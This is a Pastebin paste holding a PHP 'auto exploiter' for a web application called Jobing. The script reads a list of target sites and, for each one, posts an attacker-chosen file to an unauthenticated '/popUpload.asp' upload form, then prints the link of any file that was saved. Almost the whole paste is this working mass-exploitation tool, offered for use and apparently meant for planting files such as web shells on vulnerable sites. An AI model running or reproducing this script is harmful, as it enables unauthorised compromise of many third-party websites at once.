Advertisement
L3xcode

Jobing auto exploiter

Sep 27th, 2016
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.98 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4. greetz to all friends <3
  5.  
  6. https://www.facebook.com/lexcode2
  7. http://pastebin.com/u/L3xcode
  8.  
  9.  
  10. */
  11.  
  12. echo "\n\t +-- Jobing Exploit upload file --+";
  13. echo "\n\t +-- Coded by قم يو رن --+\n";
  14.  
  15. $file="$argv[2]";
  16.  
  17. $get=@file_get_contents($argv[1]);
  18. $ex=explode("\r\n",$get);
  19. echo "\n\t Total Sites : ".count($ex)."\n";
  20. foreach($ex as $urls){
  21. job($urls,$file);
  22.  
  23. }
  24.  
  25. function job($site,$file){
  26. $uploadfile="$file"; // ur file
  27. $ch =curl_init("$site/popUpload.asp");
  28. curl_setopt($ch, CURLOPT_POST, true);
  29. curl_setopt($ch, CURLOPT_POSTFIELDS,
  30. array('txtFile'=>"@$uploadfile",'cmdSubmit'=>1,'butSubmit'=>"Upload Now"));
  31. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  32. $postResult = curl_exec($ch);
  33. curl_close($ch);
  34.  
  35. echo "\n[+] Scanning : $site";
  36.  
  37. if(preg_match("#File saved!<br>Link: (.*?)<br>Upload another file#",$postResult,$res)){
  38. echo "\n[!] Exploit : Success";
  39. echo("\n[!] Link : $res[1]\n");
  40. }else{
  41. echo "\n[!] Exploit : Fail\n";
  42. }
  43. }
  44. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement